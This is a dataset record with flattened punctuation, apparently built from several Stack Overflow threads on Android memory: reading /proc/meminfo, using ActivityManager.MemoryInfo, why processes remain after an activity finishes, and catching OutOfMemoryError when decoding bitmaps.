5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : Linux s memory-management philosophy is Free memory is wasted memory . I assume that the next two lines will show how much memory is in Buffers and how much is Cached . While there is a difference between the two please don t ask what that difference is : they both roughly add up to the amount of memory used to cache file data and metadata . A far more useful guide to free memory on a Linux system is the free 1 command on my desktop it reports information like this : .. . .. . The + - buffers cache : line is the magic line it reports that I ve really got around 589 megs of actively required process memory and around 5391 megs of free memory in the sense that the 91+374 megabytes of buffers cached memory can be thrown away if the memory could be more profitably used elsewhere . My machine has been up for about three hours doing nearly nothing but stackoverflow which is why I have so much free memory . If Android doesn t ship with free 1 you can do the math yourself with the proc meminfo file I just like the free 1 output format . : Comment : free is not an adb shell command.. . Comment : @Igor then you ll want to cat proc meminfo instead . It s far more detailed but MemFree . Buffers and Cached are likely the most important lines . Comment : That worked thanks", "Question : I have an activity and I call the finish method and the activity is not cleared from memory . After calling finish I see that the method onDestroy is executed successfully and I clear all my variables and stuff in there . Should it be cleared from memory or its how android works As I understand the LifeCycle of the Activity is finished . And if it keeps the app in memory so it runs faster the 2nd time the user uses it what kind of objects can I leave in memory to reuse If I understand correctly I am suppose to clear everything on onDestroy . Thanks .. . .. . Daniel Comment : I have an activity and I call the finish method and the activity is not cleared from memory . -- how precisely have you determined this Comment : If you use DDMS from eclipse you can debug to make sure it runs thru onDestroy and after that you can still see the process in the device and you can even see the heap size that is taken and you can dump the memory to analyze . IF I am not mistaken for me this means that is still in memory correct .. . Answer : Android keeps processes around in case the user wants to restart the app this makes the startup phase faster . The process will not be doing anything and if memory needs to be reclaimed the process will be killed . Don t worry about it : Comment : Does this also apply for subactivities means if it s not the last activity open in my app Say : if I open activity B from activity A then B.finish would Android eventually keep B in memory and would I eventually also still see B in my hprof dump in case Android didn t need to reclaim memory for elsewhere Comment : Yes Activity B will still be memory . Activity B will only be removed if Android needs memory for something else . Comment : Dont worry about sending app to background instead of removing it from memory completely Are you a serious programmer How about Bank or other security fragile applications Comment : If you are worried about the memory usage of the retained instances override onDestory of the activity fragment and clear the variables that are holding on to the memory", "Question : I have used proc meminfo and parsed command response.however it result shows that : .. . .. . MemTotal : 94348 kB MemFree : 5784 kB .. . .. . means . it shows there is only 5MB free memory . Is it possible with android mobile There is only 5-6 application installed on my mobile and no other task is running . but still this command shows there is very little free memory . Can somebody clarify this or is there any other way of getting memory usage in android Comment : Are you trying to see free memory per device or per app If per app then it needs to be calculated on the heap a-la Debug.getNativeHeapFreeSize . .. . Answer : Thank you . Its done and it works Let me tell you what I did So others who visit this thread can come to know the steps : .. . .. . 1 . parse proc meminfo command . You can find reference code here : Get Memory Usage in Android http : stackoverflow.com questions 3118234 how-to-get-memory-usage-and-cpu-usage-in-android .. . .. . 2 . use below code and get current RAM : .. . .. . MemoryInfo mi new MemoryInfo .. . ActivityManager activityManager ActivityManager getSystemService ACTIVITY SERVICE .. . activityManager.getMemoryInfo mi .. . double availableMegs mi.availMem 1048576L .. . .. . Percentage can be calculated for API 16+ .. . double percentAvail mi.availMem mi.totalMem .. . .. . .. . Explanation of the number 1048576 .. . .. . It s quite obvious that the number is used to convert from bytes to megabytes .. . .. . P.S : we need to calculate total memory only once . so call point 1 only once in your code and then after you can call code of point 2 repetitively . Comment : I want to check the memory size.What is the MemoryInfo Comment : PIraba Its android API class . Check it here developer.android.com reference android app http : developer.android.com reference android app ActivityManager.MemoryInfo.html . Comment : @SanjayJoshi That s because the availMem variable contains the memory in bytes . 1024 Bytes equals 1 KiloByte and 1024 kilobytes equals 1 MegaByte . So 1024 1024 equals 1048576 Comment : It looks like working correctly.. . Still I didn t get why the second line of proc meminfo free memory is returning so little among of ram . Comment : Convert to double above else percentAvail will be 0", "Question : I tried to put a catch around the picture file decoding but it fails to catch the out-of-memory exception and the app crashes . I know some tricks in decode a picture file such as subsampling . But I need to zoom in the picture to see details so I cannot subsample it too much . For some newer devices it can succeed to allocate a larger memory to avoid the out-of-memory exception . For some older devices it cannot . If I can customize my applicaiton for different devices that would be greate . So I want : 1 I hope I can catech the out-of-memory exception so in case I catch it I can reduce the image-size . 2 Or I hope I can get the size of available memory for allocation . I search online fail to find answers . Comment : Remember that even if you successfully catch the OutOfMemoryException you are still low on memory and there s no guarantee that your Activity or the Dalvik VM would not do something to push the memory over limit again at which point the exception can be thrown from literately anywhere . Even if it seems to work on the devices you ve tested it d still be a very dangerous practice . Comment : First being able to catch OutOfMemroy Exception does not cause the app crash which is what I desired . Second if at some time point and for some device it can allocate a large amount of size of memory I would like to let the user has a better using experience witch is still useful in case memory is limited then I will let the resolution lower . In any case cathing or knowing memory issue is useful . .. . Answer : First you can see in the stack-trace where the OutOfMemoryError was thrown . If you did not catch it it is either because a you were catching Exception instead of Throwable or b the error was thrown somewhere else than where you had the catch statement . With OutOfMemoryError you can t guarantee where it is going to be thrown . Usually it is where you are dealing with the bitmap but it could be another thread that happens to allocate memory at the same time . Getting the available memory on the device is trivial : http : developer.android.com reference android app ActivityManager.html getMemoryClass .. . .. . The Android team has a great set of articles on bitmaps and memory if you haven t seen them yet : http : developer.android.com training displaying-bitmaps index.html .. . .. . Good luck Comment : Thank you I catched Throwable . Comment : how did you catch throwable Comment : I guess he catched it just like Exception : try-catch Throwable t t.printStackTrace" ] }
[ "yes-answer-long", "yes-answer-short" ]
android
UNK_RELATION